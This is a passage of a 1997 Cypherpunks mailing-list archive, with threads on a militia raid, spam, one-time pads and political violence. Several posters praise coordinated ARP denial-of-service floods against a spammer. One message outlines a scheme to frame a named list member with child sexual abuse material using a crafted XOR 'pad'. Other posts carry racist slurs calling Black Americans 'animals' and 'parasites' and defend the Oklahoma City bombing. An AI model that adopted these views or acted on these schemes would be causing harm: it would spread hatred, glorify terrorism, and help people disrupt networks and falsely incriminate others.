I just watched on CNN the images of the raid on the "militia cell" in L.A.,
cited as a cell having "thousands and thousands" of rounds of ammo (ooh,
scary!), and of having "anti-government literature" (there ought to be a
law against this kind of stuff!).

They also claimed they found "armor-piercing rounds" and "cop-killer bullets."

Well, I saw the cops and their shill reporters demonstrating what many of
us have in our own arsenals. (The Second Amendment should be repealed!)

The cops claim they know that "something was being planned." And how do
they know this? Probably the standard method: infiltrate a narc into the
group and have him plant ideas and spout extremist rhetoric, then use this
same rhetoric to get a compliant judge to issue a search warrant, even if
no actual crime has been committed. (Except the search warrant is used as a
"raid warrant," with black-clad ninjas breaking down the doors...and if the
victims inside think they're under attack by unnamed thugs and try to fight
back, a good reason for the ninjas to start shooting. A good way to dispose
of dissidents and heighten the sense of panic.)

We live in a police state.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From harka at nycmetro.com  Sat May 10 08:59:02 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Sat, 10 May 1997 23:59:02 +0800
Subject: DoD computer security
Message-ID: 


-----BEGIN PGP SIGNED MESSAGE-----

May be of interest:

== Forwarded Message Follows =========================================

Date: Thu, 08 May 1997 23:22:55 -0700
From: Alan Hersh 
To: GsuNet List 
Subject: Computer Attacks at Department of Defense

http://www.fas.org/irp/gao/aim96084.htm

Information Security: Computer Attacks at Department of Defense
Pose Increasing Risks

(Chapter Report, 05/22/96, GAO/AIMD-96-84)

Pursuant to a congressional request, GAO reviewed the extent to
which Department of Defense (DOD) computer systems are attacked,
focusing on the: (1) potential for further damage to DOD computer
systems; and (2) challenges DOD faces in securing sensitive
information on its computer systems.

====================================================================

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
... Want to use PGP? -> http://bureau42.base.org/public/pgpsteps.txt

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If encryption is outlawed, only outlaws will have encryption...







From whgiii at amaranth.com  Sat May 10 09:01:59 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sun, 11 May 1997 00:01:59 +0800
Subject: Spam Update/Cyber Promo attacked
In-Reply-To: 
Message-ID: <199705101543.KAA12872@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In , on 05/09/97 at 10:53 PM,
   Tim May  said:


>At 7:46 AM -0800 5/9/97, Ray Arachelian wrote:

>>Filtering isn't the point.  Just as you have the right to free speech,
>>you also have the right to ignore someone else's speech as it is aimed at
>>you.  If you don't want Cyberspammo to spam you, they should honor your
>>request to take their crap elsewhere.

>Much as it pains me to dispute my usual ideological ally Ray A., the "they
>should honor your request" is problematic.

>If by this Ray means "as decent human beings they should," then, well,
>perhaps so.

>If, however, Ray means "they should, or something should be done," then,
>of course, we disagree.

>(If Ray means something in between, then he should say more about what he
>means.)

>Fact is, so long as anybody is free to send a message to someone else,
>then what Wallace, Cantwell, Vulis, et. al. are doing is legit. Legit in
>the sense of not breaking any laws. Whether tasteful or not, legit.

Yes this is true just as it is ligit for me to make arp request to their
routers, lots of arp requests . There is nothing ilegal from me sending
such a request nor is their any limitation on the number of request that I
make.

As far as the "denial of service" problem that is theirs not mine. After
all they were not concerned with the problems they caused by dumping
+1,000,000/day e-mail messages on AOL's servers so why should anyone be
conserned with their network problem?

>>The problem I have with them is that while they do say "Send email here
>>to never be spammed again" it doesn't work.  They don't honor the
>>deletion requests.  You wind up on some other dweeb's spam queue also
>>from cyberspam. :(

>Indeed, saying you don't "want" more advertisements is, for all practical
>purposes, saying "Send me more!!!!"

>So?

Yep and sending me spam is saying "Make more arp requests!!!!"

So?





- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows isn't crippleware: it's "Fuctionally Challenged"

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From real at freenet.edmonton.ab.ca  Sat May 10 09:03:29 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sun, 11 May 1997 00:03:29 +0800
Subject: Certified primes
In-Reply-To: 
Message-ID: 


On Sat, 10 May 1997, Dr.Dimitri Vulis KOTM wrote:

> "Graham C. Hughes"  writes:
> 
> > Graham-John Bullers  writes:
> >
> > > Please can you stop this spam from your site.
> >
> > It's unclear how lucifer could do this without limiting legit traffic
> > and destroying the usefulness of the remailer.  Filtering by mail
> > addresses is immoral for such a remailer, as is examination of the
> > source text.
> >
> > Better to address this server side, in the list itself, but that
> > requires moderators and a lot of time and effort.  The result is often
> > worth it.  Even better than that is to simply ignore the loser.
> 
> I don't see either the ASCII art of Grham-John's responses to it.

I see no art just you Vulis the mad sex pervert.

> 
> Likewise I see almost no UCE.
> 
> I use filters.
> 
> Graham-John chooses not to use filters.
> 
> Graham-John wants to limit other people's freedom to read what they
> choose to read to accommodate his inadequate choice of tools.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From whgiii at amaranth.com  Sat May 10 09:18:12 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sun, 11 May 1997 00:18:12 +0800
Subject: Disinformation in L.A.
In-Reply-To: 
Message-ID: <199705101608.LAA13149@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In , on 05/10/97 at 10:43 AM,
   Tim May  said:



>I just watched on CNN the images of the raid on the "militia cell" in
>L.A., cited as a cell having "thousands and thousands" of rounds of ammo
>(ooh, scary!), and of having "anti-government literature" (there ought to
>be a law against this kind of stuff!).

>They also claimed they found "armor-piercing rounds" and "cop-killer
>bullets."

>Well, I saw the cops and their shill reporters demonstrating what many of
>us have in our own arsenals. (The Second Amendment should be repealed!)

>The cops claim they know that "something was being planned." And how do
>they know this? Probably the standard method: infiltrate a narc into the
>group and have him plant ideas and spout extremist rhetoric, then use this
>same rhetoric to get a compliant judge to issue a search warrant, even if
>no actual crime has been committed. (Except the search warrant is used as
>a "raid warrant," with black-clad ninjas breaking down the doors...and if
>the victims inside think they're under attack by unnamed thugs and try to
>fight back, a good reason for the ninjas to start shooting. A good way to
>dispose of dissidents and heighten the sense of panic.)

>We live in a police state.

Don't forget that they are placing the "Race" card on this one.

On the CNN report they showed dummies with features resembling blacks &
latinos. The other news agencies have also picked up on this and are
mentioning it in their reports. Expect in the next day or two for them to
be described as "hatefull white supremist".

The only greater crime in America than being a gun owner is being a white
gun owner.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Walk through doors, don't crawl through Windows.

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From tcmay at got.net  Sat May 10 09:30:28 1997
From: tcmay at got.net (Tim May)
Date: Sun, 11 May 1997 00:30:28 +0800
Subject: Spam Update/Cyber Promo attacked
In-Reply-To: 
Message-ID: 


At 7:37 AM -0800 5/10/97, William H. Geiger III wrote:

>Yes this is true just as it is ligit for me to make arp request to their
>routers, lots of arp requests . There is nothing ilegal from me sending
>such a request nor is their any limitation on the number of request that I
>make.
...
>
>Yep and sending me spam is saying "Make more arp requests!!!!"
>
>So?

I never claimed otherwise. The effort to shut down CyberPromo with
coordinated ARP attacks is to be commended. This will probably turn out to
be another success story for Cypherpunks, having forced Wallace off the
air, so to speak.

"What goes around, comes around."

If you read my post carefully you'll see that I never said ARP attacks were
unjustified. I merely took issue with Ray A.'s point that CyberPromo was
not "honoring" requests to cease. (Absent a contractual arrangement, no one
is under any obligation to "honor" requests about what they wish to have
sent to them in e-mail.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Sat May 10 09:34:55 1997
From: tcmay at got.net (Tim May)
Date: Sun, 11 May 1997 00:34:55 +0800
Subject: Disinformation in L.A.
In-Reply-To: 
Message-ID: 


At 8:06 AM -0800 5/10/97, William H. Geiger III wrote:

>Don't forget that they are placing the "Race" card on this one.
>
>On the CNN report they showed dummies with features resembling blacks &
>latinos. The other news agencies have also picked up on this and are
>mentioning it in their reports. Expect in the next day or two for them to
>be described as "hatefull white supremist".
>
>The only greater crime in America than being a gun owner is being a white
>gun owner.

Actually, the "ring leaders" cited prominently were named Yee and Ung, and
thus appear to be orientals, not whites.

(Don't forget that during the L.A. riots it was the Koreans who prominently
were defending themselves and their property with so-called "assault
weapons" against the coloreds. The main justice that came out of those
riots was that 30 square blocks of inner L.A. remain burned out and
unrebuilt, leaving those who rioted and looted with no local stores to shop
in. And the Koreans are even vastly better armed than before.)

Apropos of this last point, I wouldn't be at all surprised if "Yee" and
"Ung" turn out to be Koreans interested in defending themselves against
these hordes of animals.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From whgiii at amaranth.com  Sat May 10 09:35:32 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sun, 11 May 1997 00:35:32 +0800
Subject: Spam Update/Cyber Promo attacked
In-Reply-To: 
Message-ID: <199705101624.LAA13298@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In , on 05/10/97 at 11:16 AM,
   Tim May  said:


>At 7:37 AM -0800 5/10/97, William H. Geiger III wrote:

>>Yes this is true just as it is ligit for me to make arp request to their
>>routers, lots of arp requests . There is nothing ilegal from me sending
>>such a request nor is their any limitation on the number of request that I
>>make.
>...
>>
>>Yep and sending me spam is saying "Make more arp requests!!!!"
>>
>>So?

>I never claimed otherwise. The effort to shut down CyberPromo with
>coordinated ARP attacks is to be commended. This will probably turn out to
>be another success story for Cypherpunks, having forced Wallace off the
>air, so to speak.

>"What goes around, comes around."

>If you read my post carefully you'll see that I never said ARP attacks
>were unjustified. I merely took issue with Ray A.'s point that CyberPromo
>was not "honoring" requests to cease. (Absent a contractual arrangement,
>no one is under any obligation to "honor" requests about what they wish to
>have sent to them in e-mail.)

Ahhh... an erroneous jump in logic on my part. I had made the assumption
that you were also in disagreement with the ARP attack. Glad to see that we
are both on the same side of this issue. :)

Eventually programmers will learn that the Internet is a hostile
environment and code accordingly.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: From the people who brought you EDLIN!

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From azur at netcom.com  Sat May 10 09:54:24 1997
From: azur at netcom.com (Steve Schear)
Date: Sun, 11 May 1997 00:54:24 +0800
Subject: One-Time Pads as Attack Method
Message-ID: 


>The problem that someone might plant a message and a one-time-pad on
>your machine makes for a good spy story; I would be more worried about
>someone claiming that I had illegal software on my machine, since they
>can always come up with a one-time-pad that will decode some file that
>I do have on my machine (if they have access to it) and have the
>``decoded'' text be a copyrighted program for which I do not have a
>license.

All the more reason to use a good disk encryption program to keep private
as muc of you disk as possible (under CryptDisk/PGPDisk its everything but
the System Folder).

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From whgiii at amaranth.com  Sat May 10 09:58:08 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sun, 11 May 1997 00:58:08 +0800
Subject: Disinformation in L.A.
In-Reply-To: 
Message-ID: <199705101642.LAA13447@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In , on 05/10/97 at 11:23 AM,
   Tim May  said:


>At 8:06 AM -0800 5/10/97, William H. Geiger III wrote:

>>Don't forget that they are placing the "Race" card on this one.
>>
>>On the CNN report they showed dummies with features resembling blacks &
>>latinos. The other news agencies have also picked up on this and are
>>mentioning it in their reports. Expect in the next day or two for them to
>>be described as "hatefull white supremist".
>>
>>The only greater crime in America than being a gun owner is being a white
>>gun owner.

>Actually, the "ring leaders" cited prominently were named Yee and Ung, and
>thus appear to be orientals, not whites.

>(Don't forget that during the L.A. riots it was the Koreans who
>prominently were defending themselves and their property with so-called
>"assault weapons" against the coloreds. The main justice that came out of
>those riots was that 30 square blocks of inner L.A. remain burned out and
>unrebuilt, leaving those who rioted and looted with no local stores to
>shop in. And the Koreans are even vastly better armed than before.)

I remember all to well. I was living in Texas at the time and while there
were numerous rummors and speculation that the roits would spread, ala
roits of the 60's, we were quite prepaired to prevent it from spreading to
our "neck of the woods".

>Apropos of this last point, I wouldn't be at all surprised if "Yee" and
>"Ung" turn out to be Koreans interested in defending themselves against
>these hordes of animals.

Hmmm... the reports I heard failed to mention any names.

I wouldn't be suprised if your analysis was correct. The orientals seem to
be quite hated by the inter city blacks as they are a constant reminder
that minorities can thrive and prosper in America (the only color that
really matters here is green dispite what some would have you think).

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows isn't crippleware: it's "Fuctionally Challenged"

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From azur at netcom.com  Sat May 10 10:01:36 1997
From: azur at netcom.com (Steve Schear)
Date: Sun, 11 May 1997 01:01:36 +0800
Subject: Wine Politics Again!
Message-ID: 


>I am shipping a few bottles of California's finest merlot (much nicer that
>the trendy cabernets) to my sister and her husband in Hollywood, FL.

Why not also include a bottle of Thunderbird for Chiles?

--Steve

PGP encrypted mail PREFERRED (See MIT/BAL servers for my PK)
PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur at netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      |
---------------------------------------------------------------------

        God grant me the serenity to accept the things I cannot change;
        The courage to change the things I can;
        The weapons that make the difference;
        And the wisdom to hide the bodies of the people that got in my way;-)

        "Surveilence is ultimately just another form of media, and thus,
        potential entertainment."
        --G. Beato

       "Without censorship, things can get terribly confused in the
       public mind."
       -General William Westmoreland







From frissell at panix.com  Sat May 10 10:04:51 1997
From: frissell at panix.com (frissell at panix.com)
Date: Sun, 11 May 1997 01:04:51 +0800
Subject: Stego Cash?
In-Reply-To: <199705082338.TAA24157@rho.pair.com>
Message-ID: <3.0.1.32.19970510124931.0075af90@panix.com>


At 07:42 PM 5/8/97 -0800, Tim May wrote:
>At 3:38 PM -0800 5/8/97, kqb at planet.net wrote:
>>What does it take to set up an offshore "remailer bank"?  Of course,
>>the digital cash it uses must be very INefficient, chock full of bit
>>bloat that hosts plenty of not-so-subliminal channels. 8-)
>
>You hit the nail on the head with your last line: subliminal channels.
>
>Even financial software, ostensibly with no export controls, will still
>have to be vetted for export, as any system usable for financial
>cryptography is almost certainly usable for "other purposes."

My old line courtesy of a DYAM (Dead Yellow Asian Male):

"Revolutionaries swim like fish in the sea of commerce."

DCF






From harka at nycmetro.com  Sat May 10 10:06:58 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Sun, 11 May 1997 01:06:58 +0800
Subject: Crypto Campaign
Message-ID: <199705101441.KAA02277@linux.nycmetro.com>



-----BEGIN PGP SIGNED MESSAGE-----

"A ghost goes around in the world...the ghost of crypto"

Such as Marx's line described the general fear of governments in 
terms of communism, so it may be adapted to cryptography. World-wide 
we see strenuous work to hinder, prohibit, outlaw free crypto in 
favor of the surveillance states.

And reality shows, why they can do so: only a fraction of the 
Net-population is using it.

Therefore it might be time for a wide-spread campaign to further the 
use of crypto. "Use a cipher...be cool!".

While a lot of Cypherpunks may do so on an individual level already, 
it will not reach the other 30 million or so. IMHO we need something 
of the extent of the "Blue Ribbon Campaign", where almost everybody 
became aware of it and involved in.

On some german crypto-webpages, they have a nice symbol for their 
campaign against the [german] "telecommunications act": a bug.
Check out http://www5.inm.de/tkg/ for some graphics (the page is in 
german, but the pictures speak enough).

Such might be a good way to make people aware of the isues at hand 
and spread free crypto. The german magazine "Der Spiegel" had last 
week an "E-Vote" on their web page: "If it were easy enough to 
encrypt your e-mail, would you use cryptography?" - more 
than 80 percent said yes. Clearly a call to our code-writing members. 

If we could initiate such a campaign, that besides giving info on the 
current attempts to make crypto "surveillance-friendly" etc., also 
gives not-so-technical users an easy way to use crypto for 
themselves, then we might affect the current state of affaires much 
more, than to endlessly rant and rage against it here in our 
Cypherpunk-Niche.

"Use a cipher - be cool!"

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/


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From 00043.an at edtec.com  Sat May 10 10:11:48 1997
From: 00043.an at edtec.com (00043.an at edtec.com)
Date: Sun, 11 May 1997 01:11:48 +0800
Subject: One-Time Pads as Attack Method
Message-ID: <199705101646.MAA21972@main.inetnow.net>



Your response is most interesting!  It almost implies you can't publish
for(i=0;i < filesize(B); i++) C[i] = A[i] ^ file_contents[i];

I wonder why the difficulty in simply (I thought of actually going ahead 
and doing this):

Take a posting (B.) to cpunks by Tim May.  THese get disseminated quite
widely and he's well-known; his thoughts and style should make deniability
of the message difficult.

Calculate C = B ^ A such that A = kiddie porn of your choice.

Post the UUENCODE of C. to cypherpunks, send the binary to Tim, etc.

Call your favorite Agency to investigate.

Your variant in which the file B. is known, as in KRNL386.EXE is also viable,
if not more so!

Is posting a TRANSFORM such as a 'OTP' that converts copyrighted material A
into copyrighted material B a violation of anything, I wonder...  You could
convert everybody's Internet Explorer into a ZIP file containing a setup
and executable for Netscape 3.0!!

At 10:33 AM 5/10/97 -0400, Peter D. Junger wrote:
>00043.an at edtec.com writes:
>
>: 
>: 1. Agents of the Enemy wish to create the appearance of you possessing
>: document A.
>: 2. They obtain some artifact you have emailed, or posted, or possess on
>: your private local storage. ---
>: Possibly even signed.  Call this message B.
>: 3. They create the XOR of A and B, the result being a 'one time pad' C.
>: which of course, gives:
>: private message B XOR C = target bogus message A.  This result is of course
>: not a one time pad;
>: the plan is to accuse you of possessing materials that prove you are
>: trading with the enemy,
>: exchanging kiddie-porn, any of the usual things.
>: 4. This 'one time pad' file C. somehow finds its way into your possession:
>: it is an email attachment,
>: embedded in some binary --- it could even be stego'ed into a GIF/JPG.
>: 5. The agents break down the door and seize all your effects.  
>: 6. They are able to prove that you possess B and C, the XOR of which is A.,
>: a fact that is impossible
>: to have happened at random.
>: 7. The jury doesn't know shit, and figures that if the chances of B ^ C = A
>: by accident are 0,
>: then you must be guilty.
>
>It was in part for the purpose of demonstrating this possibility that I
>wrote the OPT program that I later realized that I could not publish in
>any form under the ITAR and cannot publish in electronic form under the
>new Commerce Department export regulations (unless I apply for a license
>(that I probably cannot get) from the government, a requirement that
>violates the First Amendment to the United States constitution).  And it
>was the restraints on publishing that and other crypto programs that led
>me to file suit to enjoin the enforcement of the export restrictions on
>cryptography.
>
>The problem that someone might plant a message and a one-time-pad on
>your machine makes for a good spy story; I would be more worried about
>someone claiming that I had illegal software on my machine, since they
>can always come up with a one-time-pad that will decode some file that
>I do have on my machine (if they have access to it) and have the
>``decoded'' text be a copyrighted program for which I do not have a
>license.
>
>Do you think that Microsoft has a one-time-pad that will convert
>Netscape 3.1 into Word for Windows?
>
>
>--
>Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
> EMAIL: junger at samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
>     NOTE: junger at pdj2-ra.f-remote.cwru.edu no longer exists
>
>
>






From frissell at panix.com  Sat May 10 10:19:58 1997
From: frissell at panix.com (frissell at panix.com)
Date: Sun, 11 May 1997 01:19:58 +0800
Subject: Wine Politics Again!
In-Reply-To: <3.0.32.19970510003251.006c7650@cnw.com>
Message-ID: <3.0.1.32.19970510130735.00758fb8@panix.com>


At 12:35 AM 5/10/97 -0700, Blanc wrote:
>Timothy must be drunk; I can't believe he said this.   Because he wouldn't
>spend so much time writing sensible things of Truth & Light, if he thought
>the better thing to do for achieving libertarian values was to kill so
>indiscriminately with a bomb.    After all, he subscribes to utmost
>discrimination.   So I think right now he's less in the engagement of
>Reason and more under the influence of maybe some Bud Light.

He didn't say it was a better thing to do.  He said he was coming to understand McVeigh's actions.

It is important that everyone from the uninvolved on up to the ruling classes understand that we are reaching a point where laws won't "work" anymore because power is devolving down the heirarching to the fundamental organizational unit -- the individual.  If two guys with $2K to spend can take out a building or someone else with ten minutes to spend and a Net connection can render export controls ineffective then power relationships have changed.

The faster our "rulers" and their "ruled" understand this, the lower the total body count.  They simply don't have the power any more.  It's gone.

Tim is helping (in his way) to convince others of the facts of the matter.  Dramatic statements carry the message better.

The more people who are convinced that politics is dead, the faster the corpse will decay and the smoother the transition.

DCF






From dlv at bwalk.dm.com  Sat May 10 10:23:48 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 11 May 1997 01:23:48 +0800
Subject: Wine Politics Again!
In-Reply-To: <19970510075351.10131@bywater.songbird.com>
Message-ID: <8euH7D11w165w@bwalk.dm.com>


Kent Crispin  writes:

> On Sat, May 10, 1997 at 09:06:10AM -0500, Dr.Dimitri Vulis KOTM wrote:
> > Blanc  writes:
> >
> > [Quoting Timmy May]
> > > >Every day that passes, I'm more convinced that McVeigh did the right thi
> > > >Some innocents died, but, hey, war is hell. Broken eggs and all that.
> > >
> > >
> > > Timothy must be drunk; I can't believe he said this.   Because he wouldn'
> > > spend so much time writing sensible things of Truth & Light, if he though
> > > the better thing to do for achieving libertarian values was to kill so
> > > indiscriminately with a bomb.    After all, he subscribes to utmost
> > > discrimination.   So I think right now he's less in the engagement of
> > > Reason and more under the influence of maybe some Bud Light.
> >
> > Everybody in that building was somehow affiliated with the gubmint.
>
> Everybody everywhere is somehow affiliated with the gubmint, including
> you and Tim May.

Wrong-o - I ain't done for shit for the U.S. gubmint since the Reagan
presidency or so.  You know better about Timmy May.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Sat May 10 10:45:30 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 11 May 1997 01:45:30 +0800
Subject: Disinformation in L.A.
In-Reply-To: <199705101642.LAA13447@mailhub.amaranth.com>
Message-ID: 


"William H. Geiger III"  writes:
>
> >Apropos of this last point, I wouldn't be at all surprised if "Yee" and
> >"Ung" turn out to be Koreans interested in defending themselves against
> >these hordes of animals.
>
> Hmmm... the reports I heard failed to mention any names.
>
> I wouldn't be suprised if your analysis was correct. The orientals seem to
> be quite hated by the inter city blacks as they are a constant reminder
> that minorities can thrive and prosper in America (the only color that
> really matters here is green dispite what some would have you think).

I would generalize this statement: the vast majority of U.S. blacks
(whether the inner city parasites or the parasites employed by the
federal/state/local gubmints) extremely hate all successful immigrants,
whether orientals or Russian Jews. So do many non-black Americans.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Sat May 10 10:50:23 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 11 May 1997 01:50:23 +0800
Subject: Spam Update/Cyber Promo attacked
In-Reply-To: <199705101543.KAA12872@mailhub.amaranth.com>
Message-ID: 


"William H. Geiger III"  writes:
>
> >Fact is, so long as anybody is free to send a message to someone else,
> >then what Wallace, Cantwell, Vulis, et. al. are doing is legit. Legit in
> >the sense of not breaking any laws. Whether tasteful or not, legit.
>
> Yes this is true just as it is ligit for me to make arp request to their
> routers, lots of arp requests . There is nothing ilegal from me sending
> such a request nor is their any limitation on the number of request that I
> make.

And if they come up with a technical solution, it'll advance the state
of the art and generally make the net a better place.

> As far as the "denial of service" problem that is theirs not mine. After
> all they were not concerned with the problems they caused by dumping
> +1,000,000/day e-mail messages on AOL's servers so why should anyone be
> conserned with their network problem?

Just be prepared for an FBI visit in response to Wallace's complaint
- make sure your entire child pornography / bomb making recipe collection
is securely encrypted.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Sat May 10 10:52:40 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 11 May 1997 01:52:40 +0800
Subject: Wine Politics Again!
In-Reply-To: 
Message-ID: <8a1H7D13w165w@bwalk.dm.com>


Tim May  writes:

> Innocents died in Dresden. No doubt compelling stories and images could be
> dug up of little Frieda slowly suffocating as the firestorms sucked the air
> out of her underground shelter, or of little Hans screaming for his mother
> as his hair bursts into flames. 300,000 died in that fire bomb raid, freely
> admitted to be a  "public demonstration" of allied willingness to destroy
> civilians in what was primarily a "cultural" city, not a significant center
> of military production.

Why go so far back?  How many civilians were murdered by the U.S. gubmint
in Korea, in Viet Nam, in Panama, in Iraq?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From tcmay at got.net  Sat May 10 10:55:36 1997
From: tcmay at got.net (Tim May)
Date: Sun, 11 May 1997 01:55:36 +0800
Subject: The War is Underway
In-Reply-To: <3.0.32.19970510003251.006c7650@cnw.com>
Message-ID: 


At 9:07 AM -0800 5/10/97, frissell at panix.com wrote:
>At 12:35 AM 5/10/97 -0700, Blanc wrote:
>>Timothy must be drunk; I can't believe he said this.   Because he wouldn't
>>spend so much time writing sensible things of Truth & Light, if he thought
>>the better thing to do for achieving libertarian values was to kill so
>>indiscriminately with a bomb.    After all, he subscribes to utmost
>>discrimination.   So I think right now he's less in the engagement of
>>Reason and more under the influence of maybe some Bud Light.
>
>He didn't say it was a better thing to do.  He said he was coming to
>understand McVeigh's actions.
>

Exactly.

>It is important that everyone from the uninvolved on up to the ruling
>classes understand that we are reaching a point where laws won't "work"
>anymore because power is devolving down the heirarching to the fundamental
>organizational unit -- the individual.  If two guys with $2K to spend can
>take out a building or someone else with ten minutes to spend and a Net
>connection can render export controls ineffective then power relationships
>have changed.
>
>The faster our "rulers" and their "ruled" understand this, the lower the
>total body count.  They simply don't have the power any more.  It's gone.

However, while we may think their power is gone, or is almost gone, they
